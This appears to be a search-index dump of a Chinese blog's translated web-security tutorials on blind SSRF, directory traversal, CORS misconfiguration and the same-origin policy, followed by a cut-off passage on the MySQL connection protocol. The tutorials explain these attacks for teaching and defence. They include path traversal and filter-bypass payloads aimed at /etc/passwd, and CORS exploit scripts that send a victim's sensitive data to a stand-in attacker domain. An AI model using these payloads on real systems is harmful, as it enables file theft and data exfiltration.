","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:0:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"什么是不可见 SSRF 不可见 SSRF 漏洞是指,可以诱导应用程序向提供的 URL 发出后端 HTTP 请求,但来自后端请求的响应没有在应用程序的前端响应中返回。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:1:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"不可见 SSRF 漏洞的影响 不可见 SSRF 漏洞的影响往往低于完全可见的 SSRF 漏洞,因为其单向性,虽然在某些情况下,可以利用它们从后端系统检索敏感数据,但不能轻易地利用它们来实现完整的远程代码执行。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:2:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"如何发现和利用不可见 SSRF 漏洞 检测不可见 SSRF 漏洞最可靠的方法是使用 out-of-band(OAST)带外技术。这包括尝试触发对你控制的外部系统的 HTTP 请求,并监视与该系统的网络交互。 使用 OAST 技术最简单有效的方式是使用 Burp Collaborator (付费软件)。你可以使用 Burp Collaborator client 生成唯一的域名,将这个域名以有效负载的形式发送到检测漏洞的应用程序,并监视与这个域名的任何交互,如果观察到来自应用程序传入的 HTTP 请求,则说明应用程序存在 SSRF 漏洞。 注意:在测试 SSRF 漏洞时,通常会观察到所提供域名的 DNS 查找,但是却没有后续的 HTTP 请求。这通常是应用程序视图向该域名发出 HTTP 请求,这导致了初始的 DNS 查找,但实际的 HTTP 请求被网络拦截了。基础设施允许出站的 DNS 流量是相对常见的,因为出于很多目的需要,但是会阻止到意外目的地的 HTTP 连接。 简单地识别一个可以触发 out-of-band 带外 HTTP 请求的不可见 SSRF 漏洞本身并没有提供一个可利用的途径。由于你无法查看来自后端请求的响应,因此也无法得知具体的内容。但是,它仍然可以用来探测服务器本身或其他后端系统上的其他漏洞。你可以盲目地扫描内部 IP 地址空间,发送旨在检测已知漏洞的有效负载,如果这些有效负载也使用带外技术,那么您可能会发现内部服务器上的一个未修补的严重漏洞。 另一种利用不可见 SSRF 漏洞的方法是诱导应用程序连接到攻击者控制下的系统,并将恶意响应返回到进行连接的 HTTP 客户端。如果你可以利用服务端 HTTP 实现中的严重的客户端漏洞,那么你也许能够在应用程序基础架构中进行远程代码执行。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:3:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"web 安全之 Directory traversal","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"Directory traversal - 目录遍历 在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:0:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"什么是目录遍历? 目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下,攻击者可能能够对服务器上的任意文件进行写入,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。 ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:1:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"通过目录遍历读取任意文件 假设某个应用程序通过如下 HTML 加载图像: \u003cimg src=\"/loadImage?filename=218.png\"\u003e 这个 loadImage URL 通过 filename 文件名参数来返回指定文件的内容,假设图像本身存储在路径为 /var/www/images/ 的磁盘上。应用程序基于此基准路径与请求的 filename 文件名返回如下路径的图像: /var/www/images/218.png 如果该应用程序没有针对目录遍历攻击采取任何防御措施,那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件: https://insecure-website.com/loadImage?filename=../../../etc/passwd 这将导致如下路径的文件被返回: /var/www/images/../../../etc/passwd ../ 表示上级目录,因此这个文件其实就是: /etc/passwd 在 Unix 操作系统上,这个文件是一个内容为该服务器上注册用户详细信息的标准文件。 在 Windows 系统上,..\\ 和 ../ 的作用相同,都表示上级目录,因此检索标准操作系统文件可以通过如下方式: https://insecure-website.com/loadImage?filename=..\\..\\..\\windows\\win.ini ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:2:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"利用文件路径遍历漏洞的常见障碍 许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施,然而这些措施却通常可以被规避。 如果应用程序从用户输入的 filename 中剥离或阻止 ..\\ 目录遍历序列,那么也可以使用各种技巧绕过防御。 你可以使用从系统根目录开始的绝对路径,例如 filename=/etc/passwd 这样直接引用文件而不使用任何 ..\\ 形式的遍历序列。 你也可以嵌套的遍历序列,例如 ....// 或者 ....\\/ ,即使内联序列被剥离,其也可以恢复为简单的遍历序列。 你还可以使用各种非标准编码,例如 ..%c0%af 或者 ..%252f 以绕过输入过滤器。 如果应用程序要求用户提供的文件名必须以指定的文件夹开头,例如 /var/www/images ,则可以使用后跟遍历序列的方式绕过,例如: filename=/var/www/images/../../../etc/passwd 如果应用程序要求用户提供的文件名必须以指定的后缀结尾,例如 .png ,那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查: filename=../../../etc/passwd%00.png ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:3:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"如何防御目录遍历攻击 防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写,以更安全的方式提供相同的行为。 如果认为将用户输入传递到文件系统 API 是不可避免的,则应该同时使用以下两层防御措施: 应用程序对用户输入进行严格验证。理想情况下,通过白名单的形式只允许明确的指定值。如果无法满足需求,那么应该验证输入是否只包含允许的内容,例如纯字母数字字符。 验证用户输入后,应用程序应该将输入附加到基准目录下,并使用平台文件系统 API 规范化路径,然后验证规范化后的路径是否以基准目录开头。 下面是一个简单的 Java 代码示例,基于用户输入验证规范化路径: File file = new File(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file } ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:4:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"web 安全之 CORS","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Cross-origin resource sharing (CORS) 在本节中,我们将解释什么是跨域资源共享(CORS),并描述一些基于 CORS 的常见攻击示例,以及讨论如何防御这些攻击。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:0:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS(跨域资源共享)是什么? CORS(跨域资源共享)是一种浏览器机制,它允许对位于当前访问域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性。然而,如果一个网站的 CORS 策略配置和实现不当,它也可能导致基于跨域的攻击。CORS 不是针对跨源攻击(例如跨站请求伪造 CSRF)的保护。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:1:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Same-origin policy(同源策略) 同源策略是一种限制性的跨域规范,它限制了网站与源域之外资源交互的能力。同源策略是多年前定义的,用于应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许域向其他域发出请求,但不允许访问响应。 更多内容请参考 Same-origin-policy 。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:2:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"同源策略的放宽 同源策略具有很大的限制性,因此人们设计了很多方法去规避这些限制。许多网站与子域或第三方网站的交互方式要求完全的跨域访问。使用跨域资源共享(CORS)可以有控制地放宽同源策略。 CORS 协议使用一组 HTTP header 来定义可信的 web 域和相关属性,例如是否允许通过身份验证的访问。浏览器和它试图访问的跨域网站之间进行这些 header 的交换。 更多内容请参考 CORS and the Access-Control-Allow-Origin response header 。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:3:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS 配置不当引发的漏洞 现在许多网站使用 CORS 来允许来自子域和可信的第三方的访问。他们对 CORS 的实现可能包含有错误或过于放宽,这可能导致可利用的漏洞。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"服务端 ACAO 直接返回客户端的 Origin 有些应用程序需要允许很多其它域的访问。维护一个允许域的列表需要付出持续的努力,任何差错都有可能造成破坏。因此,应用程序可能使用一些更加简单的方法来达到最终目的。 一种方法是从请求头中读取 Origin,然后将其作为 Access-Control-Allow-Origin 响应头返回。例如,应用程序接受了以下请求: GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=... 然后,其响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true 响应头表明允许从请求域进行访问,并且跨域请求可以包括 cookies(Access-Control-Allow-Credentials: true),因此浏览器将会在会话中进行处理。 由于应用程序在 Access-Control-Allow-Origin 头中直接返回了请求域,这意味着任何域都可以访问资源。如果响应中包含了任何敏感信息,如 API key 或者 CSRF token 则都可以被获取,你可以在你的网站上放置以下脚本进行检索: var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; }; ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:1","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Origin 处理漏洞 某些应用程序使用白名单机制来实现可信来源的访问允许。当收到 CORS 请求时,将请求头中的 origin 与白名单进行比较,如果在白名单中,则在 Access-Control-Allow-Origin 头中返回请求的 origin 以允许其跨域访问。例如,应用程序收到了如下的请求: GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com 应用程序检查白名单列表,如果 origin 在表中,则响应: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com 在实现 CORS origin 白名单时很可能会犯一些失误。某个组织决定允许从其所有子域(包括尚未存在的未来子域)进行访问。应用程序允许从其他组织的域(包括其子域)进行访问。这些规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实现中的任何失误都可能导致访问权限被授予意外的外部域。 例如,假设应用程序允许以下结尾的所有域的访问权限: normal-website.com 攻击者则可以通过注册以下域来获得访问权限(结尾匹配): hackersnormal-website.com 或者应用程序允许以下开头的所有域的访问权限: normal-website.com 攻击者则可以使用以下域获得访问权限(开头匹配): normal-website.com.evil-user.net ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:2","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Origin 白名单允许 null 值 浏览器会在以下情况下发送值为 null 的 Origin 头: 跨站点重定向 来自序列化数据的请求 使用 file: 协议的请求 沙盒中的跨域请求 某些应用程序可能会在白名单中允许 null 以方便本地开发。例如,假设应用程序收到了以下跨域请求: GET /sensitive-victim-data Host: vulnerable-website.com Origin: null 服务器响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true 在这种情况下,攻击者可以使用各种技巧生成 Origin 为 null 的请求以通过白名单,从而获得访问权限。例如,可以使用 iframe 沙盒进行跨域请求: \u003ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text/html,\u003cscript\u003e var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; \u003c/script\u003e\"\u003e\u003c/iframe\u003e ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:3","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"通过 CORS 信任关系利用 XSS CORS 会在两个域之间建立信任关系,即使 CORS 是正确的配置,但是如果某个受信任的网站存在 XSS 漏洞,那么攻击者就可以利用 XSS 漏洞注入脚本,进而从受信任的网站上获取敏感信息。 假设请求为: GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=... 如果服务器响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true 那么攻击者可以通过 subdomain.vulnerable-website.com 网站上的 XSS 漏洞去获取一些敏感数据: https://subdomain.vulnerable-website.com/?xss=\u003cscript\u003ecors-stuff-here\u003c/script\u003e ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:4","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"使用配置有问题的 CORS 中断 TLS 假设一个严格使用 HTTPS 的应用程序也通过白名单信任了一个使用 HTTP 的子域。例如,当应用程序收到以下请求时: GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=... 应用程序响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true 在这种情况下,能够拦截受害者用户流量的攻击者可以利用 CORS 来破坏受害者与应用程序的正常交互。攻击步骤如下: 受害者用户发出任何纯 HTTP 请求。 攻击者将重定向注入到:http://trusted-subdomain.vulnerable-website.com 受害者的浏览器遵循重定向。 攻击者截获纯 HTTP 请求,返回伪造的响应给受害者,并发出恶意的 CORS 请求给:https://vulnerable-website.com 受害者的浏览器发出 CORS 请求,origin 为:http://trusted-subdomain.vulnerable-website.com 应用程序允许请求,因为这是一个白名单域,请求的敏感数据在响应中返回。 攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制下的任何域。 即使易受攻击的网站对 HTTPS 的使用没有漏洞,并且没有 HTTP 端点,同时所有 Cookie 都标记为安全,此攻击也是有效的。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:5","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"内网和无凭证的 CORS 大部分 CORS 攻击都需要以下响应头的存在: Access-Control-Allow-Credentials: true 没有这个响应头,受害者的浏览器将不会发送 cookies ,这意味着攻击者只能访问无需用户验证的内容,而这些内容直接访问目标网站就可以轻松获得。 然而,有一种情况下攻击者无法直接访问网站:网站是内网,并且是私有 IP 地址空间。内网的安全标准通常低于外网,这使得攻击者发现漏洞后可以获得进一步的访问权限。例如,某个私有网络中的跨域请求: GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com 服务器响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: * 服务器信任所有来源的跨域请求,而且无需凭证。如果私有IP地址空间内的用户访问公共互联网,则可以从外部站点执行基于 CORS 的攻击,该站点使用受害者的浏览器作为访问内网资源的代理。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:6","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"如何防护基于 CORS 的攻击 CORS 漏洞主要是由于错误的配置而产生的,因此防护措施主要也是如何进行正确配置的问题。下面将会描述一些有效的方法。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"跨域请求的正确配置 如果 web 资源包含敏感信息,那么应该在 Access-Control-Allow-Origin 头中声明允许的来源。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:1","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"只允许受信任的站点 Access-Control-Allow-Origin 头只能是受信任的站点。Access-Control-Allow-Origin 直接使用跨域请求的 origin 而不验证是很容易被利用的,应该避免。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:2","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"白名单中避免 null 避免 Access-Control-Allow-Origin: null 。来自内部文档和沙盒请求的跨域资源调用可以指定 origin 为 null 的。CORS 头应该根据私有和公共服务器的可信来源正确定义。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:3","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"避免在内部网络中使用通配符 避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅仅依靠网络配置来保护内部资源是不够的。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:4","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS 不是服务端安全策略的替代品 CORS 定义的只是浏览器行为,永远不能替代服务端对敏感数据的保护,毕竟攻击者可以直接在其它环境中伪造来自任何 origin 的请求。因此,除了正确配置的 CORS 之外,web 服务端仍然需要使用诸如身份验证和会话管理等措施对敏感数据进行保护。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:5","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS 和 Access-Control-Allow-Origin 响应头","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"CORS 和 Access-Control-Allow-Origin 响应头 在本节中,我们将解释有关 CORS 的 Access-Control-Allow-Origin 响应头,以及后者如何构成 CORS 实现的一部分。 CORS 通过使用一组 HTTP 头部提供了同源策略的可控制放宽,浏览器允许访问基于这些头部的跨域请求的响应。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:0:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"什么是 Access-Control-Allow-Origin 响应头? Access-Control-Allow-Origin 响应头标识了跨域请求允许的请求来源,浏览器会将 Access-Control-Allow-Origin 与请求网站 origin 进行比较,如果两者匹配则允许访问响应。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:1:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"实现简单的 CORS CORS 规范规定了 web 服务器和浏览器之间交换的头内容,其中 Access-Control-Allow-Origin 是最重要的。当网站发起跨域资源请求时,浏览器将会自动添加 Origin 头,随后服务器返回 Access-Control-Allow-Origin 响应头。 例如,origin 为 normal-website.com 的网站发起了如下跨域请求: GET /data HTTP/1.1 Host: robust-website.com Origin : https://normal-website.com 服务器响应: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com 浏览器将会允许 normal-website.com 网站代码访问响应,因为 Access-Control-Allow-Origin 与 Origin 匹配。 Access-Control-Allow-Origin 允许多个域,或者 null ,或者通配符 * 。但是没有浏览器支持多个 origin ,且通配符的使用有限制。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:2:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"带凭证的跨域资源请求 跨域资源请求的默认行为是传递请求时不会携带如 cookies 和 Authorization 头等凭证的。然而,对于带凭证的跨域请求,服务器通过设置 Access-Control-Allow-Credentials: true 响应头可以允许浏览器读取响应。例如,某个网站使用 JavaScript 去控制发起请求时一起发送 cookies : GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=\u003cvalue\u003e 得到的响应为: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true 那么浏览器将会允许发起请求的网站读取响应,因为 Access-Control-Allow-Credentials 设置为了 true。否则,浏览器将不允许访问响应。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:3:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"使用通配符放宽 CORS Access-Control-Allow-Origin 头支持使用通配符 * ,如 Access-Control-Allow-Origin: * 注意:通配符不能与其他值一起使用,如下方式是非法的: Access-Control-Allow-Origin: https://*.normal-website.com 幸运的是,基于安全考虑,通配符的使用是有限制的,你不能同时使用通配符与带凭证的跨域传输。因此,以下形式的服务器响应是不允许的: Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true 因为这是非常危险的,这等于向所有人公开目标网站上所有经过身份验证的内容。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:4:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"预检 为了保护遗留资源不受 CORS 允许的扩展请求的影响,预检也是 CORS 规范中的一部分。在某些情况下,当跨域请求包括非标准的 HTTP method 或 header 时,在进行跨域请求之前,浏览器会先发起一次 method 为 OPTIONS 的请求,并且对服务端响应的 Access-Control-* 之类的头进行初步检查,对比 origin、method 和 header 等等,这就叫预检。 例如,对使用 PUT 方法和 Special-Request-Header 自定义请求头的预检请求为: OPTIONS /data HTTP/1.1 Host: \u003csome website\u003e ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header 服务器可能响应: HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 这个响应的含义: Access-Control-Allow-Origin 允许的请求域。 Access-Control-Allow-Methods 允许的请求方法。 Access-Control-Allow-Headers 允许的请求头。 Access-Control-Allow-Credentials 允许带凭证的请求。 Access-Control-Max-Age 设置预检响应的最大缓存时间,通过缓存减少预检请求增加的额外的 HTTP 请求往返的开销。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:5:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"CORS 能防止 CSRF 吗? CORS 无法提供对跨站请求伪造(CSRF)攻击的防护,这是一个容易出现误解的地方。 CORS 是对同源策略的受控放宽,因此配置不当的 CORS 实际上可能会增加 CSRF 攻击的可能性或加剧其影响。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:6:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"Same-origin policy (SOP)","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"Same-origin policy (SOP) - 同源策略 在本节中,我们将解释什么是同源策略以及它是如何实现的。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:0:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"什么是同源策略? 同源策略是一种旨在防止网站互相攻击的 web 浏览器的安全机制。 同源策略限制一个源上的脚本访问另一个源的数据。 Origin 源由三个部分组成:schema、domain、port ,所谓的同源就是要求这三个部分全部相同。 例如下面这个 URL: http://normal-website.com/example/example.html 其 schema 是 http,domain 是 normal-website.com,port 是 80 。下表显示了如果上述 URL 中的内容尝试访问其它源将会是什么情况: 访问的 URL 是否可以访问 http://normal-website.com/example/ 是,同源 http://normal-website.com/example2/ 是,同源 https://normal-website.com/example/ 否: scheme 和 port 都不同 http://en.normal-website.com/example/ 否: domain 不同 http://www.normal-website.com/example/ 否: domain 不同 http://normal-website.com:8080/example/ 否: port 不同* *IE 浏览器将会允许访问,因为 IE 浏览器在应用同源策略时不考虑端口号。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:1:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"为什么同源策略是必要的? 当浏览器从一个源发送 HTTP 请求到另一个源时,与另一个源相关的任何 cookie (包括身份验证会话cookie)也将会作为请求的一部分一起发送。这意味着响应将在用户会话中返回,并包含此特定用户的相关数据。如果没有同源策略,如果你访问了一个恶意网站,它将能够读取你 GMail 中的电子邮件、Facebook 上的私人消息等。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:2:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"同源策略是如何实施的? 同源策略通常控制 JavaScript 代码对跨域加载的内容的访问。通常允许页面资源的跨域加载。例如,同源策略允许通过 \u003cimg\u003e 标签嵌入图像,通过 \u003cvideo\u003e 标签嵌入媒体、以及通过 \u003cscript\u003e 标签嵌入 JavaScript 。但是,页面只能加载这些外部资源,页面上的任何 JavaScript 都无法读取这些资源的内容。 同源策略也有一些例外: 有些对象跨域可写入但不可读,例如 location 对象,或者来自 iframes 或新窗口的 location.href 属性。 有些对象跨域可读但不可写,例如 window 对象的 length 属性和 closed 属性。 在 location 对象上可以跨域调用 replace 函数。 你可以跨域调用某些函数。例如,你可以在一个新窗口上调用 close、blur、focus 函数。也可以在 iframes 和新窗口上 postMessage 函数以将消息从一个域发送到另一个域。 由于历史遗留,在处理 cookie 时,同源策略更为宽松,通常可以从站点的所有子域访问它们,即使每个子域并不满足同源的要求。你可以使用 HttpOnly 一定程度缓解这个风险。 使用 document.domain 可以放宽同源策略,这个特殊属性允许放宽特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一个域名 marketing.example.com,并且你想读取 example.com 域的内容。为此,两个域都需要设置 document.domain 为 example.com,那么同源策略将会允许这里两个域之间的访问,尽管它们并不同源。在过去,你可以将 document.domain 设置为顶级域名如 com,以允许同一个顶级域名上的任何域之间的访问,但是现代浏览器已经不允许这么做了。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:3:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["MySQL"],"content":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication MySQL 客户端与服务器之间的通信基于特定的 TCP 协议,本文将会详解其中的 Connection 和 Replication 部分,这两个部分分别对应的是客户端与服务器建立连接、完成认证鉴权,以及客户端注册成为一个 slave 并获取 master 的 binlog 日志。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:0:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Connetcion Phase MySQL 客户端想要与服务器进行通信,第一步就是需要成功建立连接,整个过程如下图所示: client 发起一个 TCP 连接。 server 响应一个 Initial Handshake Packet(初始化握手包),内容会包含一个默认的认证方式。 这一步是可选的,双方建立 SSL 加密连接。 client 回应 Handshake Response Packet,内容需要包括用户名和按照指定方式进行加密后的密码数据。 server 响应 OK_Packet 确认认证成功,或者 ERR_Packet 表示认证失败并关闭连接。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Packet 一个 Packet 其实就是一个 TCP 包,所有包都有一个最基本的结构: 如上图所示,所有包都可以看作由 header 和 body 两部分构成:第一部分 header 总共有 4 个字节,3 个字节用来标识 body 即 payload 的大小,1 个字节记录 sequence ID;第二部分 body 就是 payload 实际的负载数据。 由于 payload length 只有 3 个字节来记录,所以一个 packet 的 payload 的大小不能超过 2^24 = 16 MB ,示例: Packet : 当数据不超过 16 MB 时,准确来说是 payload 的大小不超过 2^24-1 Byte(三个字节所能表示的最大整数 0xFFFFFF),发送一个 packet 就够了。 当数据大小超过了 16 MB 时,就需要把数据切分成多个 packet 传输。 当数据 payload 的刚好是 2^24-1 Byte 时,一个包虽然足够了,但是为了表示数据传输完毕,仍然会多传一个 payload 为空的 packet 。 Sequence ID:包的序列号,从 0 开始递增。在一个完整的会话过程中,每个包的序列号依次加一,当开始一个新的会话时,序列号重新从 0 开始。例如:在建立连接的阶段,server 发送 Initial Handshake Packet( Sequence ID 为 0 ),client 回应 Handshake Response Packet( Sequence ID 为 1 ),server 再响应 OK_Packet 或者 